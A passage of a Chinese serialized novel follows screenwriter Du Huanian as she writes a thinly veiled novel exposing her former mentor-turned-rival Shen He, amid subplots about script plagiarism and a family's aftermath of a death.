没两回,大家也就都习惯了,起先还客客气气,注意形象,最后烟也抽上了,酒也喝起来了,不同的小姐妹们也轮流出境,杜华年有时候就光看着她们一屋子姐妹在客厅里闹腾,也觉得思绪分外丰盈。即便这一屋子的姐妹,平均年龄已过五十。
有时候她们也一同逛菜市,一同散步。杜华年甚至爱上了逛菜市,那些足够世俗化的对白充斥着整个市场,让她倍感实在。
那些深夜的,清晨的,所有梦醒后的写作时光,实则无比迷人,像她儿时一样。
这次要讲的是沈荷的故事。
她要深入沈荷的内心,于是她翻出何文谦的旧西装,特地买了一支沈荷的口红,喷上沈荷用的香水,还摆了一圈各色鲜花在周围,趁着下午光线最朦胧的时刻,或者午夜月光最迷幻的时刻,站在镜子前,试图抓住一丝沈荷的灵魂,然后她就可以短暂地变成沈荷,用她的语气和神态,对着镜子自说自话。
夏莲经常路过,看见她在镜子里扭捏做作,就会发出无情的嘲笑。
杜华年知道,这就是还没有成功。
这天夜里,她站在阳台上抽烟。我还是不够理解沈荷,她想。一阵风穿过花架,带着枯叶追到了她的桌上,她转头看着那几片深黄的叶子,想起了同样颜色的牛皮袋。她掐了烟,取出了华丽娟的信。
师父:
见信好!
我终于还是给您写了这封信,我本来犹豫了很久。
我时常想,如果我当初听了您的话,没有这么早生下孩子,或许我不会走入穷巷,进退维谷。
我打算离婚了,真是后悔当初没有听您的,但现在想回头的事,也无任何意义。
现在的我,已经写不出东西了。我不敢面对您,但这些心里话,我太久没有人说。我以为我成为了妻子和母亲以后,仍然会有我的价值,然而现实却是,我失去了我自己。
更令我觉得害怕的是,我现在才发现,家庭生活根本不是我喜欢的,可是当时我却觉得那就是我要的一切。
从前老听人说,人是会变的,曾经喜欢的,现在可能就讨厌了。听起来对,但这段时间我一直在反思,从我嫁人开始的一点一滴,直到今天,我想这句话是错的,人不是变成现在这样的,人是到现在才展现出了真实的自我。
这不是最可怕的,更可怕的是,我真切地记得第一次感觉到后悔,是在三年前,那时候我还没有发现他出轨,也没有发生什么不愉快,那天只是一个普通的晚饭后,我看着我的丈夫在开一个紧急视频会议,女儿在做学校布置的手工作业,她甚至拒绝我的帮助,一定要自己独立完成。而只有我,不知道还可以做些什么。
我有什么是一定要坚持独立完成,并享受独立完成的独立结果的事情吗?我没有。
其实那天我就感受到落差了,那是婚后第一次,我想起我曾经的名字:曹红叶。我忍不住想,如果我没有变回华丽娟,而是一直做曹红叶的话,现在的一切是不是都会不同了呢?
您知道吗?最可笑的地方来了,当我心里有了念头之后,第一件事竟是否定它,想要死死地把这个念头摁灭。于是,我继续假装了三年,假装我还和二十岁一样,向往婚姻生活,热爱做一个母亲,渴望拥有自己的家庭,而我已经实现了,所以我非常地满足。
甚至,当我发现他出轨了,我也仍然第一时间,想要粉饰太平,拼尽全力也要维持住从前那个样子的我。
所以啊,人不是后知后觉,人是故意为之。用浪费自己的生命来拒绝一个真相——我感觉我最想要的,恰恰是我最不想要的。
我说多了,今天喝了点酒,小睡的时候梦见您和师娘,我多想回到那时候啊,师娘做的菜真香。我接手了一个新的毕业班,这个班上有个女孩儿,叫何芳芳,是何文谦的女儿。我还记得您和何文谦是同学,一起下过乡对吧?
您可能想不到,这个女孩儿跟我真像!哦不,她就是我,真的,我看见她,就像看见自己,我太喜欢她了,太羡慕她的妈妈了,这一度还引起了我女儿倩倩的妒忌。可是,芳芳却是个苦闷的孩子,您跟我讲过,苦闷会毁掉一个天才,我很担心她。
但我又想啊,您看我,就是活得很自由,从来我的父母都鼓励我去实现我的天才,他们即便离婚了,对我都没有丝毫疏忽。所以您看,我对婚姻这样向往,大概原因在此。我也任性,婚姻到底是什么样子都不明白,就敢一头扎进去……所以您说,是不是芳芳这样的,才会更好,她戾气重,她不像我这么自在任性,小小年纪,她就知道要区分她自己和她父亲。嗯,我想她实现自我的意愿肯定比我强烈,至少是明确的,是艰难的,而不像我,以为很容易,随时都可以。她迫切,所以她会避免我的悲剧。
您一定要见见何芳芳,您一定会认同我的,她和我真像啊!
师父,我错了!我该听您的话才对……
祝:
您和师娘健康快乐!
学生:华丽娟
2009年12月12日
这是另一面的华丽娟,又相似又不同。华老师在她的老师面前,会毫不遮掩地表达她的内心。垂手捏着信,杜华年笑了,沈荷的动机到底是什么?是掩饰。沈荷早就发现了真实的自我,可能早到出国之前,她就发现自己是一个对权力极端渴望的人,她有太大的抱负和野心,她还有巨大的不甘与不忿,她对这个世界极其不满,也有着极端强烈的胜负欲,本质上,她和何文谦就是一种人。
华老师是对的,人不是变成这样的,人只是在时间的长河里逐渐发现了真实的自我。
所以何文谦一旦给沈荷一座桥,她就一定会走上去。
这样讲,何文谦应该遗憾,沈荷不是他的女儿。
“她讨厌我,因为我见过另一个她,但她又要装作和原来一样喜欢我,因为她要拒绝一个真相……”杜华年面对漆黑的夜空低声自语。
夏莲又走出来给她送牛奶,她望着她,夏莲只是对她微笑说早点睡,就走了回去。
她独自,默默地哭了一会儿。
电影如期上映,南京也迎来了今年的第一场寒潮相叠。
那天之后,曾倩确实没再见到刘白,他似乎像死了一样消失在了她的生活里,没有微信消息,没有电话,没有突然出现。她突然就不习惯了。
但她还得上班,沈荷每天都待在芳生工作室,像个变态一样盯着每一个人,并且每天都要问她三遍,“杜华年又去哪里了?杜华年为什么又消失了?”
电影票房走势很好看,
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但曾倩和芳生工作室并未从中获益,反而是天地文化的名声响亮起来,它背后的集团股价也节节上涨。
一周后,票房开始盈利。沈荷特意在芳生工作室庆祝,从总公司带来了几十个人,一下子把工作室塞得挤挤挨挨。曾倩在开了香槟后就溜了,而后在马路边上,看见了许慕华。
“华年姐不是叫你来找我吗?”许慕华开门见山。
“我想找的,结果发现根本没有你的电话。”曾倩尴尬地摸摸鼻子。
高大的梧桐枝叶已经稀疏,树下,两个年轻的姑娘站在冰冷的黄昏里,身上都套着长长的羽绒服,一黑一白,像两个异色邮桶,就这么尴尬地沉默着。
还是曾倩先开口,“芳芳姐也真是,她还跟你说等我来找你?”
“嗯。”许慕华点点头,又急忙解释,“华年姐可能忙忘了,以为我们有联系方式。”
“嗯……”
……
路边开过去一辆车,两辆车,三辆车……
慕华深吸口气,“挺冷的,我们要不换个地方聊?”
曾倩其实走了个神,因为工作室里夸张的喧闹阵阵传来,“哦,好啊!”
两人终于沿着路走了起来,但却并不知道走去哪里。慕华说:“你别担心,我不会瞧不起你的。”
曾倩被她说中了心思,转头试探地看着她。
慕华看她一眼,笑了,“真的。你别忘了,我也是个叛徒,我还诬赖她呢。”
曾倩无法控制她的惊讶,微张着嘴继续看着她,“你怎么……”她又没想好措辞,“额……我是说……你好像……”
慕华看她词不达意,直接打断她,“我厚脸皮呗。”
曾倩慌忙摆手想说自己不是这个意思,但自己确实又是这个意思,于是空张了个嘴,什么也没说。
慕华毫不在意,接着说:“你没经历过今天领完工钱交了房租,剩下的钱只够吃一个月泡面的生活。你不懂,面皮对我来说,真的没有面包重要。”
曾倩回想了一下大学里勤工俭学的同学,慕华描述的内容就有了画面感。又一阵子沉默,曾倩又问,“你是……怎么让她原谅你的?”
慕华好笑地看着她,“谁说她原谅我了?”
曾倩被问住了。
慕华看她发愣,又说:“我明白你想什么。你觉得她会记恨你。我原来也这么觉得,但后来我发现,可能她根本就不会浪费时间记恨我,因为我对她来说不是什么重要的人。不过我觉得,她挺重视你的。”
“为什么这么说?”
“因为她还在担心你怎么水剧本啊!你看她管过我怎么活下去么?”
曾倩没想过这个思路,但又觉得无法反驳。
两人停在了十字路口,天已经黑透,红灯还在读秒。
慕华说:“一会儿我给你几个大纲,你把它们删删减减,互相拼接一下,就能凑出一个剧本了,先把这个月任务交了再说。”
曾倩惊叫,“这不是抄袭吗?”
“不抄你交得上吗?”
“那也不能抄吧?被发现了……就完了。”
慕华又笑,“现在拍个短剧,十部有九部半都是抄的,你知道这些剧本哪来的?你真以为那些大老板养着我们一群编剧,是为了高质量?几十个人里,几个月能出一个高质量就不错了,其他的不能白养着吧?那这些烂剧本就打包便宜卖给那些网剧小团队,他们混着洗一洗,低成本拍好放抖音上面,刷得可疯了,比我们赚钱多了!信我,这些大纲也不是好货,不会有人来告发你的,我不坑你。”
曾倩看着慕华递过来的微信二维码,缓不过神来。
“干嘛?还有点不屑做是吧?”慕华看出她的挣扎,每个过来人都是这样湿鞋的,她也不逼她,只是拿出了老鸨一样的做派,“没事,你先加我,到时候我发给你,用不用随你,我又不能强迫你用。”
曾倩迷迷糊糊地加上了慕华的微信。
65. 反击开始
李东海死后,李雯在李家一群人里变成了最有本事的,毕竟是开过工作室的人,好赖也算折腾过事业。其余的三个,一个只会出席宴会的大妈,一个每天打算着私房钱的诗萍,一个与世无争的少爷,在烂摊子面前,只能大眼瞪小眼。
所以当李雯重新出现在他们面前时,曾经的一切似乎都不存在了,他们指望着李雯把最后一点事办好,也指望着李雯手上的一千万过活。
这一千万还是她从诗萍手里抠出来的。
李东海的葬礼一结束,李雯留给他们一人一百万,然后头也不回地走了,不管诗萍如何哭喊,也不管大妈如何咒骂。她甚至没有等李东海烧成灰,再去往骨灰坛里呸一口口水。因为她只想远离,迫不及待。
她在公墓外头的大马路上见到了宋林。
“我送你回去吧,这里很难等到车。”宋林把头伸出车窗。
她看看前后,来路和去路都一片茫茫尘土,上了车。
“对不起!我没想到会弄成这样。”宋林开口。
“我应该谢谢你。我爸不死,我永远是窝囊废李雯,和我的窝囊废哥哥一样。”
“我一点也不觉得你是窝囊废。”
李雯冷笑,摸出一盒烟,抽出一支点上,“你不用说这些。我没有讽刺你。”
“你是不是恨我?”宋林转头看她一眼。
“不。李东海是咎由自取,我难过也是为我自己,这些很容易想得通。”
宋林看着她疲倦的侧脸,“你就没什么想问我的吗?”
李雯仍旧不看他,把手伸出窗外弹掉烟灰,“那天你不是跟老杜都说了吗?我也算明白了,不冤。”
宋林心潮起伏,他感到心头无数的拳头没一个硬的地方可以砸,“我本来不打算把证据给沈荷的,那个会计只要钱,其实一开始她就答应了,也一直跟我保持联系。”宋林开头说得大声,后来又小了。
李雯没什么反应。
他继续说:“我就是想试一次,看你对我到底有多少感情。如果你那天答应跟我走,我是不会把证据给沈荷的。”
李雯半转头看了他一眼,他说的那天,应该是她从横店回来找他质问的那天,哦,原来那时候证据就在他手上,她差一点就拿到了,她曾经离得那么近。回忆结束,她点了点头算是知道了。
宋林不能接受她这个反应,又加了点速度,连续超过了两辆大卡车。
李雯用手掐碎了烟,让它们散在了风里。
宋林继续超着车,“李雯,其实你每次失恋,并不是因为别人不爱你吧,是因为你不爱别人!”
李雯闭上眼靠在椅背上,叹口气,“宋林,你怎么像个女人?”
车子已经逐渐开进了市区,宋林的车速却仍然不减,左摇右摆,不停按着喇叭。李雯看他样子,不像能安全驾驶了,趁他不备,伸手握住方向盘一扭,车子冲向了路边人行道,宋林下意识急踩刹车,两人猛往前扑去,又被安全带拉回来。终于停下了,他惊恐地看着她,他从未见过她这个样子,像个亡命徒。
李雯趁机拔掉了钥匙,“把话说完再开车。”
宋林解开安全带,“李雯,你一点都不在乎我刚才说的话吗?”
李雯也解开了安全带,“你和我妈很像。谁让她觉得爱她,她就跟着谁,听谁摆布。如果我做一些让你觉得爱你的事,你就靠近我,帮我的忙,听我的话,如果我没有呢?你就靠近沈荷,听她的话,因为你觉得对不起她,对吧?你气死她老公对吧?可是宋林,你气死的也是你爸啊!”
宋林瞪眼看着她,眼眶已经红了,他一点也不愿意想起自己父亲的死。
李雯继续说:“我也害死了我爸。我们俩谁也别说谁。不过这几天我想了很多,必须承认,其实我很多时候都希望李东海早点死,无数次跟他吵架的时候,我也盼望他立刻去死,还有他骂我妈的时候,我也恨不得开车撞死他……诸如此类太多了,所以现在,只是愿望实现了而已。我谢谢你,是真心的。”
宋林觉得陌生又恐惧,因为他也曾盼望他的父亲死去,尤其是在沈荷成为他继母的时候,他说:“你有点可怕,李雯。”
“嗯,我想是的。但是宋林,我们都别想着谈恋爱了吧,其实除了恋爱,人生还有很多别的事情。我从前不理解老杜,现在理解了。谈恋爱很浪费生命的,因为我自己都不知道我谈了个什么东西,它除了刺激,还有什么?”李雯真的疑惑,她既嫌恶又困惑地抽了抽嘴,眯了眯眼。
宋林看着她,忽然之间,也觉得再去问她到底喜不喜欢自己,已经是可笑了。
但她却突然回答了,“宋林,我喜欢你,但我不喜欢谈恋爱了。”
她下车走了。宋林靠在车里沉默。
杜华年很久没有这种手感了,将近三年,她几乎不敢下笔。这一个月,她终于不再是那条,在轮回井里外反复挣扎的鱼。新小说完稿这天,夏莲给她做了一桌子饭菜,她似乎预感到分离,主动开了一瓶酒,还对她说,“抽支烟吧?”
杜华年轻轻眨了两下眼,“不了,先吃你做的菜。”
夏莲微笑,喝了一口酒,“你初三的时候,你们语文老师请我去了一次学校。”
杜华年没想到她会提起这件事,于是她点头,“我知道。”
夏莲深吸一口气,仰头叹出来,“她跟我说,你要是她的女儿,她此生就没有遗憾了。她不知道,我知道她是谁,我年轻的时候,读过曹红叶的诗,我还去过她的诗会,我见过她,我认得她。”她又喝了一口酒。
杜华年凝望她,眉毛浮了起来,张开了嘴,眼睛里注入了泪水。
“我那时候是为了去问问她,她是怎么晓得爱情是什么的?可是等我真的去了,发现她居然就是个大学生,好像还没谈过恋爱。那她还写那么多爱情诗?于是后来我就不读诗了,也不相信你们这些搞文学的了。真是没想到啊,有一天,曹红叶会是我女儿的语文老师。她跟我说,你心里有很多苦闷,我想啊,苦闷是什么?嗯,大概和我失恋的感觉很像,我失恋的时候喜欢吃好吃的,所以那天我给你做了些好吃的。”
杜华年有了一个完整的答案,又蹊跷又合理,人生这么多迂回的伏笔,竟然真的需要她一个一个地去捡。“你也只做了那一次。”
“芳芳,我知道你不会听你爸的。年轻女孩,不是父亲想拦就拦得住的。你爱吃的,我都记得,但你说奇不奇怪,你爱吃的,你爸都不爱吃。我做饭,要不顺着你,要不顺着你爸,你自己想想你们俩,哪个是脾气好的?都不会放过我,老娘干脆不做了,交给保姆,反正都有保姆。”她说得理直气壮的,突然又叹气,“唉……芳芳,我知道你要回去了,你回去吧,不用管我,老娘现在一人吃饱全家不饿。你写的电影都很好看,女人看了会哭的,都是好故事。”
杜华年低头擦了擦眼,“你最喜欢哪一部?”
“嗯?当然是下一部!”夏莲点了一支烟,说得理所当然,“就像口红一样。”
杜华年一颗泪挂在睫毛上,冻住了一样,她突然觉得,夏莲是个宝藏女孩。
芳生工作室的公众号沉寂了一个月之后,突然在立冬这天复更了一篇一万字的章节,开篇就明晃晃地影射当年何文谦利用职权阻挠自己女儿出版小说,而一位正义的女编辑却不畏强权帮助了孤立无援的她。随之,故事以女编辑的视角展开,讲述了她跌宕起伏的人生经历。
故事的情感基调是灰暗的,首更的一万字就已经展现出了整个出版行业的龌龊和勾连,女编辑却是清醒而带着寒冷气质的,她最热血之处,正在于她的不够热血。
叙事线随心所欲游离穿插,每一场戏之间都有女编辑的无限回忆来填充,时空在过去、现在、更过去之间光怪陆离地变幻。
从女编辑与出版家女儿的初见,直接跳接到两年后女编辑无法顺利毕业,首更里最精彩的一场戏是女编辑在出版家的办公室与他对峙。
杜华年犹如亲历一般,还原了沈荷与何文谦的现场对话,几乎一字不差,可是何文谦已经死了,现在,真正在那场对话时空里存在过的人,只剩下了沈荷。
“她是怎么知道得这么清楚的?”沈荷第一时间
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看完了首更。她不无惊喜地想:我可从来没跟她说过这么详细的对白,何文谦更不可能让她知道这件事,她到底是怎么知道的?真是有趣,不愧是她。她摸着杜华年的桌子和台灯,看过这间工作室里的每一处,窗帘、地灯、沙发、书柜还有姜黄色的狗房子,微笑。
这个女编辑的角色名,叫沈河。这个小说的名字叫:《我们》。
自从回国以来,沈荷第一次感到如此鲜活的快乐,她又找回了当年读《你我》手稿的感觉。一高兴,她奖励芳生工作室所有员工每人一万元,当日发放。顺手给这篇文章打赏了最高金额。
斯德哥尔摩症候群里炸了锅,除了李雯、林见月、姜流云和许慕华,其他人都拿到了一万元的奖金,人人在群里手舞足蹈,表情包乱飞。
瑜姐:在这个群里说话,有种拿着金主爸爸的钱包养小鲜肉的刺激感。
林见月:呸。
姜流云:汗。
许慕华:好想要这种刺激。
李雯:沈荷好颠我好喜欢。
曾倩:沈荷要去找芳芳姐了,她刚才逼问我芳芳姐在哪。
众人:你怎么会知道?
曾倩:我不知道啊,但她不信啊!
李雯:我知道,老杜在我这儿。
全员安静了。
杜华年从成立工作室后,就没有发过小说,这次用的竟然还是真名何芳芳。在作者介绍里,第一句话就写:著名出版家何文谦独女。第二句写:曾以笔名杜华年编剧多年。没有第三句。
这就跟往啤酒里扔白酒一个效果,深水炸弹。
公众号又成了舆论焦点,关于芳生工作室的话题重新甚嚣尘上。
关于杜华年就是小说里出版家的女儿、沈河就是沈荷、出版家就是何文谦的言论已经开始疯狂发酵,又因为上个月沈荷高调宣传电影,并且抢走了芳生工作室的现成大饼,网络上已经形成了好几个关于二人关系的故事版本,就等着看谁的版本押中了《我们》接下来的内容。
还有许多体量不小的UP们,已经开始深挖杜华年的成长史,她与何文谦的关系、她从小的生活、她的出道经历、她编剧的电影……有分析她的、分析她父亲的、甚至还有分析她母亲的,甚至秋天时她在横店与老刘头的相见也被细细翻了出来。
还有很多人,冒充她的小初高同学。
头阵打得漂亮如预期,当晚,杜华年包场千帆过。
姜老板兴致也意外好,开了一坛三十年的花雕;这波宣传费为零,瑜姐分外高兴,在千帆过抱着杜华年又哭又笑又灌酒;海师傅直接变客为主,在人家千帆过的灶头掌起了勺;许慕华和姜流云猜拳,姜流云根本不是她对手,喝得满脸通红;小赵拉着曾倩哭诉给别人当助理的悲惨经历,跟唱戏似的,有腔有调还有泪滴,曾倩直接把一万块奖金转了五千给她,把小赵感动的,抱着她猛亲了几口;林见月甚至在栏杆旁支了个画板子,对着这一桌子画起了画……
猫猫也被带了来,自从今天再见到杜华年,她就没有从她怀里下过地,现在就蜷在杜华年怀里,张嘴等着一桌子人轮流投喂,幸福得冒出了泡泡。
晴夜万里,皓月当空,竟然有几分中秋的神韵。
等到杯盘狼藉时,碳烤的火炉上还煨着红薯、芋头和玉米,几人赏月,几人小寐,海师傅还在炉边烤肉,总之无人愿意散去。曾倩问杜华年,“芳芳姐,沈荷今天一直自言自语,念叨‘你是怎么知道的……’重复了无数遍,跟念经似的,我们都以为她疯了。
林见月笑她胆小,“她不是每天都念经似的吗?”
“但今天不一样,今天好多人去找她的时候,都看见她用一种变态一样的眼神,‘抚摸’过芳芳姐工作间里的东西,桌上的台灯她直接抱在怀里亲。”
“咦——”林见月打了个寒颤。
“还有,我下班的时候,她还特意跟我说,让我把她这个问题,一字不落问你一遍,她说你能听懂。”
杜华年一笑,“等的就是这句话。你回去跟她说,明天来见我。”
全员酒醒了。
66. 你的楼兰,不是我的楼兰
何文衫也看到了公众号的首更。夜深了,她还在办公室里,就是当年何文谦与沈荷对峙的那间,她抚摸着桌上何文谦的照片,心里千重万重叹息:哥哥,我不帮她肯定不行,但她这么干,真不知道哪天我也下去了,你会不会打死我。
第二天一早,各大书店和网店悄无声息地铺货了重版的《你我》,署名仍然是:沈荷。
有头天何芳芳重返小说界的热度在,《你我》很快在销量上往大榜头三名爬升,本来还犹疑不定的销售商立马拿定了主意,拉起横幅空出C位推销《你我》。
杜华年和李雯就坐在工作室对面马路边边上,就着往来的汽车尾气吃馍。两个人打了个两块钱的赌,看沈荷什么时候从工作室搬回她那个鬼寺一样的天台。
馍还没吃完,沈荷就像听到了她们的赌约,这么恰好地从工作室里走了出来,站在路边四下张望。杜华年也像心有灵犀一般,远远看着她,“我觉得她在找我。”
李雯瞪大眼,“凭空找啊?她这么自信你就在这儿?”
杜华年点点头,“嗯。”
李雯刚想骂她神经了,就看见沈荷穿过马路朝她们走过来,她眨巴眨巴眼,觉得自己神经了,“你是不是跟她有某种灵异的联系方式没告诉我?”
沈荷已经来到了面前,“何芳芳。”她身上穿着紫色长绒大衣,微笑着摘掉墨镜。
杜华年仰头看着她,不说话。
“去我那儿聊聊?”
“我才不去你那个伽蓝寺……啊不是,你那个天台。”杜华年今天醒得有点早,但其实并没有睡够,所以脾气十分不好,连淡妆都懒得化,也就勉强洗了个脸。
沈荷最后妥协了,两人来到了一家路边的小馄饨摊,还是杜华年带曾倩来吃过那家。
“你怎么知道我和何文谦的谈话?”等馄饨的时候,沈荷开门见山。
杜华年搓着手,“我自己想的。”
沈荷显然将信将疑,“自己想?你可知道,你写的和真实发生的,几乎一字不差。”
杜华年点头,“应该的。”
沈荷忍不住抖了抖眉头,“怎么做到的?”
杜华年看她一眼,“我了解你,也了解何文谦。我回家蹲了一个月不是白蹲的。”
沈荷的眼里出现了难以掩饰的赞叹,“我早就知道了,我当初就说过,你是一个天才,你能代入每一个角色。好作家都是好演员。我跟你爸讲过这个话,你连这句话都猜对了。”
杜华年挑挑眉不以为然,“这是我们课本上的话,你没读过?”
“读过的人何止万千,有几个真懂?又有几个能做到?”
馄饨端了上来,香喷喷的冒着热气。杜华年随便吹吹,立马喝了一口汤,发出满足的赞叹。
沈荷慢条斯理地搅着馄饨,“你存稿多少?”
“完稿了。”她已经吃了一个馄饨进嘴里,囫囵地说。
沈荷停下了搅动,“完稿了?首更一万字,全本至少三十万字,你只写了一个月?”
杜华年瞥她一眼,“我当年写《你我》也只用了个把月。”
沈荷舒心地笑了,“你回来了,芳生。”
“我也问你一个问题。”
“你问。”
“你的动机不是恨吧?”
“不是。”沈荷摇摇头,吃了第一颗馄饨。
“你是觉得,他们都不行,不能干,干不好,所以只能你自己来,对吧?”
沈荷微笑,抬眼凝视她,“对。”
杜华年自顾自点头,“我一开始觉得你是爱权力的,但我后来越想越不对,才发现有一个细节我忽略了。一个只热爱权力的人,不可能在自己还是一介白丁的时候去得罪权力,即便是为了讨好我,那也应该利用我与何文谦的矛盾。但你什么都没告诉我,这显然是不符合逻辑的。所以,你不是单纯为了权力,你是觉得如果拥有权力的是你,一定能做得更好,于是你把有权力却没能力的人换掉。你只是想不通,为什么这些人干点屁事都干不好呢?所以你打算让他们放着,你来。”
沈荷喝了一勺子汤,“嗯!真是鲜美。”她深吸口气看着杜华年,眼里是无比的兴奋,“你知道这个世界为什么这么糟糕吗?就是因为对的人没有站在对的位置上。你想想,我们这个集团,如果交给宋林会怎么样?不要说集团了,就是一个小小的天地文化传媒公司,他都没能力搞好。还有你那个朋友李雯,和她哥哥,哪一个能比李东海强?何况李东海自己也就勉勉强强。”
杜华年微微皱皱眉,淡淡一笑,低头吃馄饨。
“你连载完,或许能当我的自传。”沈荷叹气,“快十年了,我再也没有找到过一个,像你这样的作者,和我那么默契。”
杜华年的头发随便拢在了脑后,还包了个白色的毛线帽,身上套着一件长过膝盖的深蓝色羽绒服,蹬着一双驼色的雪地靴,不修边幅的样子像某个就住附近、逛完菜市的大妈,在回到空无一人的家之前,先吃一碗馄饨垫垫空虚的肠胃。可沈荷却严妆华服,仪态端庄。两人对面坐在低矮的小桌前,画风对比极端割裂,来来往往的行人总要多看她们几眼。
天阴沉沉的,不像话。
“老板,再来一碗!”杜华年喝干了汤底,喊了一句。“好的嘛!你稍等等。”
“你变了。”沈荷说,她想起最初,她请杜华年去学校后门的美食巷子吃东西的情景,那时候,招呼老板这种事,沈荷才是游刃有余的那个,而杜华年总是端坐,十分拘束。
谁能不变呢?即便是我妈夏莲也渴望着生命的变迁。杜华年心想,但她不再说出来了。
两个人互相产生了深深地、由衷地钦佩,但这钦佩里又裹着浓浓的悲色。
杜华年直言,“以前总听说,最了解我们的,往往是我们的宿敌。没想到我混了这么多年,最了解我的人还是你。”
沈荷不以为然地笑,“我们可以重新合作,对的人总要站在对的位置上。”
杜华年摇头,“我从前觉得知己变作宿敌是无奈为之,其实错了。宿敌之所以成为宿敌,恰恰是因为太了解了,做不得简单朋友了。这是注定的。”
老板将第二碗馄饨端了上来。
沈荷就那么看着吹馄饨的杜华年,沉默良久,才说:“了解说浅了,我们是感同身受。我知道只要是你认定的事,其实是天崩地裂你也决不罢休的,但你表面上却好像可以忘得干干净净。”
杜华年低头吃起第二碗馄饨,直吃到第三个,才说:“巧了,我知道你也一样。不破楼兰终不还,真不幸,我也是。”
沈荷呼口气,低头吃起半温的馄饨。不短的沉默里,只有两个人的调羹触碰瓷碗的声音。沈荷吃完了,从怀里掏出手帕轻轻沾了沾嘴,才说:“但你的楼兰,不是我的楼兰。”
“那就做个尽兴的宿敌!”杜华年举起装满茶水的塑料茶杯。
沈荷也举起来,与她一碰。
街道人来人往。
杜华年拒绝了沈荷的车,自己走回了家。猫猫扑过来和她好一阵亲热。
李雯看她脸色挺差,本想问她出了什么事,但一转念觉得她要想说自然会说,不想说问也徒劳,于是改口,“你赢了。”
“啊?”杜华年迷茫地抬头看她。
“你赌赢了,沈荷搬走了。”李雯低头给她转了两块钱。
“哦?”杜华年想起来了,放开猫猫,走到沙发上坐下,“今天就搬走了?”
“你不是赌她今天就搬吗?怎么,人家搬了,你还失落了?”
杜华年摇摇头,“我赌的是最坏的情况。”
李雯反应了一瞬,听懂了,“你怕她的反击?你用了一个月,准备得不够吗?”
杜华年苦笑,看着她说:“哪有什么事是不出意外的?”李雯立即想到了宋林,想到了李东海的死,低下头不再说话。
杜华年和沈荷都清楚地知道,吃完这次馄饨,往后……就再也没有往后了。
接下来就是各凭本事,可杜华年觉得可笑,即便走得很慢很慢,一路上仍然没有想明白她和沈荷是怎么走到这步田地的?无论怎么算,她们之
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间都并没有什么仇怨,糊里糊涂地一见如故,糊里糊涂地分散在异国他乡,本来是此生不复相见的路数,可谁也想不到还能有再见这天,再见,却又剑拔弩张。
就像当年不知怎么就感情那么好了,现在,也不知怎么就站在了对立面。难道就只是因为命运的变迁?人在时间的波浪里总是会漂向不同的方向,最后可能相遇,也可能不相遇,但最好还是不相遇吧,因为相遇的时候,必然是浪头相撞,碎成万千水珠。
落个一场空。
她不知道沈荷会不会也作此感想。
杜华年每晚七点准时更新一万字,小说的进展很快,女编辑顶替真实作者出版小说的桥段,让人不得不联想到《你我》是沈荷顶替杜华年出版的。
小说里的女作者名叫何园园,出版家名叫何文兼,简直就是明示。
《你我》的销售量继续节节攀升,最先一批读者已经发现了去年许慕华编剧的那部电影,和《你我》的故事高度重合,连主角们的名字都一样。
一年多前的抄袭风波又一次被翻了出来,人人都在猜:到底当时是谁抄了谁?杜华年、沈荷、许慕华,一同站在了风口浪尖。
沈荷与杜华年都拒绝了许多采访邀请。晚上七点,新一期连载更新,同时间,许慕华接受百万级博主的直播采访。
“我是许慕华,去年起诉杜华年抄袭的人就是我。”慕华化着憔悴的病妆,双眼无神斜向下45°,声音哀沉,“对,我也是抄别人的,我以为那个叫沈荷的作者早就销声匿迹了,也以为根本没人知道还有这个人、这本小说……”慕华哀哀自嘲,发自肺腑,“原来小丑竟是我自己……”
她抹了抹泪,继续说:“我一直没想通,为什么她就敢肯定我是抄的,而且她自己也不署名,只说是工作室出的剧本……”突然她声音高涨,“直到我看到她现在这本小说!原来《你我》根本就是她自己写的!但她也不敢署名了,毕竟当年出版的时候写的人家沈荷的名字,但是我也知道,”她的语气又转而成阴恻恻地,“他们是这个圈子里的上层人,他们如果要联合,就是见个面喝个咖啡的事,到时候她们两边肯定会统一口径,说早有合作意向,当然就不算抄袭了。你们看杜华年休息一年回来,给工作室换个名字,连地址都懒得换,就可以卷土重来……”
沈荷的助理举着平板给她看直播,屏幕里的许慕华还在源源不断地说着,把自己在编剧圈多年了解到的种种内幕一件一件往外倒。
沈荷挥挥手,助理拿走平板熄屏,“沈董,幸好您从芳生工作室搬回来了,今天工作室门口已经蹲了不少狗仔了。”
喝了一口咖啡,沈荷笑了,“你相信这个世界有幸好?”
沈荷这个助理看起来温顺沉默,其实十分强干,和沈荷颇像,她立刻心领神会,“我明白了。您早就知道会出事。那么我们要不要开个发布会,再让法务出律师函?”
沈荷摆摆手,“再等等,我觉得这只是个序。”助理急了,“可是晚了怕不怕……毕竟您教过我,先下手为强啊。”
沈荷看向她,微笑,“但我现在面对的是杜华年,稳一点没错。”助理在她的眼神里平稳下来,“好的,沈董,那我给您订晚饭吧。”
“不了,”沈荷一手撑着头,“我不饿。”她抬眼看了看窗外的天色,冬天,天黑得越来越早,现在就已经一片深蓝,她的办公室在顶层,远处只有稀稀拉拉几座高楼的霓虹,她站起来,走到落地窗边,抬头是隐约几颗星星,低头是万家灯火璀璨,又渺小又磅礴。
“我想到街上走走。你自己下班吧。”沈荷脱下西装外套,从柜子里随便找了件毛衣套上,又裹了一件黑色过膝羽绒服,“去给我找个毛线帽子。”助理回过神来,点头出去了。
助理再回来,还顺手给她带了个口罩,“荷姐,楼下也有几个狗仔,藏得比较隐蔽,我安排了保镖陪您走特殊通道出去,应该没问题。”
“好。你下班吧。”
“荷姐,我陪着你吧。”助理眼中很担忧。
“不用,我自己走走。”
67. 终不似,少年游……
今天只是一个普通的工作日,现在也不过晚上七点半。冷蓝色的街景和暖橘色的灯,路面上堵满了车,车灯与路灯辉映,汽车尾气变成了白色的蒸汽,时不时飘散出来,吹到人行道上。行色匆匆的人总是形单影只,满地落叶,枝头早就空了大半,伶仃坠着的余叶要落下来也只是早晚而已。
沈荷很久没有独自一个人走在人行道上了,她回忆了一下,这么多年,出门不是坐车就是坐飞机,走路?在家里走,在办公室走,在大楼里走,在停车场走,哦,逛街的时候也走。但,只是这样走在下班的路上,却已经久违了。她走着走着,看见路灯下一个烤红薯摊,浓郁的甜香裹在焦香的蒸汽里迎面扑来,她立刻感觉饥肠辘辘,竟莫名地开心起来,走过去,要了一个,付了钱,等着大叔装袋的时候,还贪婪地拼命多吸了几口。
她捧着暖手的红薯,尽兴地感受凡俗烟火。但很快,怀旧的,伤感的,浓郁的情绪就被无情地驱散了——她站在巨大的十字路口,车来车往,却……迷路了。
她自嘲地笑了一会儿,拼命想了一圈,还是只有曾经的学校可以回去,于是打了个车。
